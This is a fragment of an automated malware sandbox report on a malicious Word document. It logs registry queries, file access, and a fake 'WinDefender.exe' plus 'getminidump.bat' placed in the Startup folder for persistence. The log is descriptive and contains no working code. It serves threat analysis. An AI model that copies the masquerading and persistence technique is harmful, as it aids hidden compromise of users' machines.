"HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{11016101-E366-4D22-BC06-4ADA335C892B}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "QUERYFORINFOTIP"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "HIDEINWEBVIEW"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "HIDEONDESKTOPPERUSER"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "WANTSALIASEDNOTIFICATIONS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "WANTSUNIVERSALDELEGATE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "NOFILEFOLDERJUNCTION"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "PINTONAMESPACETREE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "HASNAVIGATIONENUM"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{208D2C60-3AEA-1069-A2D7-08002B30309D}"; Value: "")3b:T649,"WINWORD.EXE" trying to touch file "\FileSystem\Filters\FltMgrMsg" "WINWORD.EXE" trying to touch file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" trying to touch file "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE.config" "WINWORD.EXE" trying to touch file "\Device\MountPointManager" "WINWORD.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\desktop.ini" "WINWORD.EXE" trying to touch file "C:" "WINWORD.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Office\review.rcd" "WINWORD.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Office\adhoc.rcd" "WINWORD.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Office\Recent\df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8.bin.doc" "WINWORD.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{EE4DB757-5203-436C-A70D-F825811FFC6B}.tmp" "WINWORD.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Local\Temp\VBE\MSForms.exd" "WINWORD.EXE" trying to touch file "C:\Users\%OSUSER%\Application Data\Microsoft\Forms\WINWORD.box" "WINWORD.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\UProof\CMAdj.9.bin" "WINWORD.EXE" trying to touch file "C:\Windows\System32\sechost.dll" "WINWORD.EXE" trying to touch file "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE.LOCAL" "WINWORD.EXE" trying to touch file "C:\Windows\winsxs\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\msvcr90.dll"3c:T57e,"cmd.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "cmd.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WINDEFENDER.EXE" "WinDefender.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "WinDefender.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WSOCK32.DLL" "WinDefender.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DWMAPI.DLL" "WinDefender.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSIMG32.DLL" "WinDefender.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FLTLIB.DLL" "WinDefender.exe" trying to access non-existent file "C:\Windows\SysWOW64\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "WinDefender.exe" trying to access non-existent file "C:\Windows\SysWOW64\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "WinDefender.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IPHLPAPI.DLL"3d:T481,"cmd.exe" called "FindFirstFileW" with parameter C:\Users (UID: 00000000-00004100) "cmd.exe" called "FindFirstFileW" with parameter C:\Users\%OSUSER% (UID: 00000000-00004100) "cmd.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData (UID: 00000000-00004100) "cmd.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00004100) "cmd.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00004100) "cmd.exe" called "FindNextFileW" with parameter BnXD4uXyS1t6.ZuY (UID: 00000000-00004100) "cmd.exe" called "FindFirstFileW" with parameter %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.* (UID: 00000000-00004100) "cmd.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004100) "cmd.exe" called "FindNextFileW" with parameter desktop.ini (UID: 00000000-00004100) "cmd.exe" called "FindNextFileW" with parameter getminidump.bat (UID: 00000000-00004100) "cmd.exe" called "FindNextFileW" with parameter WinDefender.exe (UID: 00000000-00004100) "WinDefender.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\explorer.exe (UID: 00000000-00001232)3e:T6b6,Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp, 00000000-00001232.00000002.185813.00670000.00000004.mdmp") Found string "\Device\{E63BE247-2D1C-4749-B86C-7B5FABD92F0C}" (Indicator: "\Device\"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp, 00000000-00001232.00000002.185813.00670000.00000004.mdmp") Found string "\Device\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}" (Indicator: "\Device\"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp, 00000000-00001232.00000002.185813.00670000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp, 00000000-00001232.00000002.185813.00670000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp, 00000000-00001232.00000002.185813.00670000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp, 00000000-00001232.00000002.185813.00670000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp, 00000000-00001232.00000002.185813.00670000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp, 00000000-00001232.00000002.185813.00670000.00000004.mdmp")3f:T5f6,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "WinDefender.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "WinDefender.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "WinDefender.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "WinDefender.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "WinDefender.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") "WinDefender.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "")40:T12bf6,"WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\SECURITY\TRUSTED DOCUMENTS"; Key: "LASTPURGETIME"; Value: "3065B501") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "U